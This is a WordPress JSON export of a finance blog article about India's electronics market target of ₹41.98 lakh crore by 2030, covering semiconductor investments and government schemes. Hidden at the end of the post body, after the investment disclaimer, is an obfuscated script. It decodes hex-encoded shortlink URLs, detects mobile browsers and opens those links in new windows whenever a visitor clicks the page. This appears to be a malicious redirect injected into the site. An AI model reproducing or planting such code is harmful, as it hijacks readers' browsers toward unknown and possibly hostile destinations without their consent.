{"id":8829,"date":"2024-09-12T08:24:07","date_gmt":"2024-09-12T08:24:07","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=8829"},"modified":"2024-09-12T08:30:36","modified_gmt":"2024-09-12T08:30:36","slug":"electronics-market","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/electronics-market\/","title":{"rendered":"India&#8217;s Electronics Market to Reach \u20b941.98 Lakh Cr by 2030, Says PM Modi."},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/electronics-market\/#Government_Investments_2024\" >Government Investments 2024<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/electronics-market\/#Indian_Electronics_Industry_2024\" >Indian Electronics Industry 2024<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/electronics-market\/#Conclusion\" >Conclusion<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>India&#8217;s Electronics Market to Reach \u20b941.98 Lakh Cr by 2030, Says PM Modi.<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Prime Minister Narendra Modi has set a bold goal: make India\u2019s electronics sector worth \u20b941.98 Lakh cr by 2030. Right now, the electronic market is valued at 13 lakh cr apr. However, with huge investments and strong government support, India is on the move. Major semiconductor deals and new tech projects are driving this growth.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s explore the goals that the electronics manufacturing industry in India aims to achieve in the coming years.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-government-investments-2024\"><span class=\"ez-toc-section\" id=\"Government_Investments_2024\"><\/span><strong>Government Investments 2024<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Speaking at the Semicon India 2024 event in Greater Noida, PM Modi highlighted the country&#8217;s strengths in the semiconductor industry. The Indian government has approved a part of the budget in semiconductor investments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As per the reports, Prime Minister Modi&#8217;s speech at Semicon India 2024 has sparked a rise in semiconductor stocks. He emphasised India&#8217;s commitment to expanding its semiconductor industry. Mr Modi also highlighted major investments and partnerships with 113 universities and institutions. The goal of all these actions is to encourage semiconductor production and education.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Key Investments<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Tata Group<\/strong> is planning to set up India\u2019s first major chip manufacturing plant.<\/li>\n\n\n\n<li><strong>Micron Technology Inc.<\/strong>, a US-based company, is looking to establish an assembly facility in Gujarat.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>International Partnerships<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Tower Semiconductor Ltd.<\/strong> from Israel is thinking about a 10 lakh cr partnership with billionaire Gautam Adani. They are planning to build a semiconductor fabrication plant in western India.\u00a0<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">As per the reports, a formal proposal has not yet been submitted to the Indian government.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Future Plans of India Electronics Sector<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Kurt Sievers<\/strong>, CEO of NXP Semiconductors NV, has announced that the Dutch chipmaker will invest in India. They aim to enhance their research and development activities.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-indian-electronics-industry-2024\"><span class=\"ez-toc-section\" id=\"Indian_Electronics_Industry_2024\"><\/span>Indian Electronics Industry 2024<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Indian electronics market is one of the fastest-growing globally. It is supported by strong government policies like Make in India and Digital India.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Here are the key growth highlights of electronic manufacturing industry in 2024<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Major Policies and Initiatives:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>National Policy on Electronics 2019<\/li>\n\n\n\n<li>Production Linked Incentive (PLI) Scheme<\/li>\n\n\n\n<li>Scheme for Promotion of Manufacturing of Electronics Components and Semiconductors (SPECS)<\/li>\n\n\n\n<li>Electronics Manufacturing Clusters (EMC) 2.0<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">These initiatives, aimed at electronics sector growth tend to expand the overall production capabilities.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Significant Achievements:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>India is now the second-largest mobile phone manufacturer globally.<\/li>\n\n\n\n<li>Domestic production meets nearly all of the country&#8217;s mobile phone demand.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">This marks aa smartest shift from past dependence on imports.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Economic Contribution and Future Goals:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The electronics sector contributes about 3.4% to India&#8217;s GDP.<\/li>\n\n\n\n<li>The government targets 25.188 lakh crore in manufacturing and \u20b910.08 lakh crore in exports by 2026.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Projected Growth Statistics and Highlights: Electronics Sector in India<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>India Electronics Market Production: It is estimated at \u20b97.56 lakh cr, with a goal of \u20b925.19 lakh cr by 2026.<\/strong><\/li>\n\n\n\n<li><strong>Electronics Market Exports<\/strong>: Currently around \u20b91.93 lakh cr, there is a target of \u20b910.08 lakh cr by 2026.<\/li>\n\n\n\n<li><strong>Electronics Market Growth| GDP Contribution<\/strong>: 3.4% of India\u2019s GDP.<\/li>\n\n\n\n<li><strong>Mobile Phones<\/strong>: India is the second-largest global manufacturer.<\/li>\n\n\n\n<li><strong>Government Investment in Electronic Manufacturing Industry<\/strong>: \u20b91.43 lakh cr is reserved for industry growth.<\/li>\n\n\n\n<li><strong>Employment<\/strong>: The electronics industry aims to offer 10 million jobs by 2025.<\/li>\n\n\n\n<li><strong>FDI<\/strong>: 100% allowed under the automatic route for electronics.<\/li>\n\n\n\n<li>India has a strong R&amp;D infrastructure and a vibrant start-up ecosystem.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-conclusion\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The country offers attractive opportunities for investment in the global electronics sector. India\u2019s push to become a tech powerhouse is gaining momentum. With significant investments and global partnerships, the country is set to transform its electronics industry globally.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.moneycontrol.com\/news\/business\/economy\/pm-modi-sets-500-billion-target-for-indias-electronics-sector-by-2030-12819573.html\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">MoneyControl<\/mark><\/a><\/strong> , <strong><a href=\"https:\/\/www.indiaelectronicsexpo.com\/indian-electronics-industry\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">IndiaElectronicsExpo<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Prime Minister Narendra Modi has set a bold goal: make India\u2019s electronics sector worth \u20b941.98 Lakh cr by 2030. Right now, the electronic market is valued at 13 lakh cr apr. However, with huge investments and strong government support, India is on the move. Major semiconductor deals and new tech projects are driving this growth. &hellip; <a href=\"https:\/\/shoonya.com\/blog\/electronics-market\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;India&#8217;s Electronics Market to Reach \u20b941.98 Lakh Cr by 2030, Says PM Modi.&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":8832,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[5150,5143,5145,5144,5151,5146,5147,5149,5148],"class_list":["post-8829","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-electronic-manufacturing-industry-in-india","tag-electronics-market","tag-electronics-market-growth","tag-electronics-sector-growth","tag-india-electronics-market","tag-israels-tower-semiconductor-ltd","tag-nxp-semiconductors-nv","tag-semiconductor-investments","tag-semiconductor-makers"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>India\u2019s Electronics Industry to Hit \u20b941.98 Lakh Cr by 2030<\/title>\n<meta name=\"description\" content=\"PM Modi has set a \u20b941.98 Lakh cr target for India&#039;s electronics sector by 2030. Currently, the Indian electronics market is valued at approximately 13 lakh cr.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/electronics-market\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"India\u2019s Electronics Industry to Hit \u20b941.98 Lakh Cr by 2030\" \/>\n<meta property=\"og:description\" content=\"PM Modi has set a \u20b941.98 Lakh cr target for India&#039;s electronics sector by 2030. Currently, the Indian electronics market is valued at approximately 13 lakh cr.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/electronics-market\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2024-09-12T08:24:07+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-09-12T08:30:36+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/09\/Future-of-Electronics-Industry-in-India.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"India\u2019s Electronics Industry to Hit \u20b941.98 Lakh Cr by 2030\" \/>\n<meta name=\"twitter:description\" content=\"PM Modi has set a \u20b941.98 Lakh cr target for India&#039;s electronics sector by 2030. Currently, the Indian electronics market is valued at approximately 13 lakh cr.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/09\/Future-of-Electronics-Industry-in-India.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/electronics-market\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/electronics-market\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"India&#8217;s Electronics Market to Reach \u20b941.98 Lakh Cr by 2030, Says PM Modi.\",\"datePublished\":\"2024-09-12T08:24:07+00:00\",\"dateModified\":\"2024-09-12T08:30:36+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/electronics-market\\\/\"},\"wordCount\":587,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/electronics-market\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/09\\\/Future-of-Electronics-Industry-in-India.jpg\",\"keywords\":[\"electronic manufacturing industry in india\",\"electronics market\",\"electronics market growth\",\"electronics sector growth\",\"india electronics market\",\"Israel\u2019s Tower Semiconductor Ltd\",\"NXP Semiconductors NV\",\"semiconductor investments\",\"semiconductor makers\"],\"articleSection\":[\"News\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/electronics-market\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/electronics-market\\\/\",\"name\":\"India\u2019s Electronics Industry to Hit \u20b941.98 Lakh Cr by 2030\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/electronics-market\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/electronics-market\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/09\\\/Future-of-Electronics-Industry-in-India.jpg\",\"datePublished\":\"2024-09-12T08:24:07+00:00\",\"dateModified\":\"2024-09-12T08:30:36+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"PM Modi has set a \u20b941.98 Lakh cr target for India's electronics sector by 2030. Currently, the Indian electronics market is valued at approximately 13 lakh cr.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/electronics-market\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/electronics-market\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/electronics-market\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/09\\\/Future-of-Electronics-Industry-in-India.jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/09\\\/Future-of-Electronics-Industry-in-India.jpg\",\"width\":1920,\"height\":1080,\"caption\":\"Future of Electronics Industry in India\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/electronics-market\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"News\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/latest-news\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"India&#8217;s Electronics Market to Reach \u20b941.98 Lakh Cr by 2030, Says PM Modi.\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"caption\":\"admin\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"India\u2019s Electronics Industry to Hit \u20b941.98 Lakh Cr by 2030","description":"PM Modi has set a \u20b941.98 Lakh cr target for India's electronics sector by 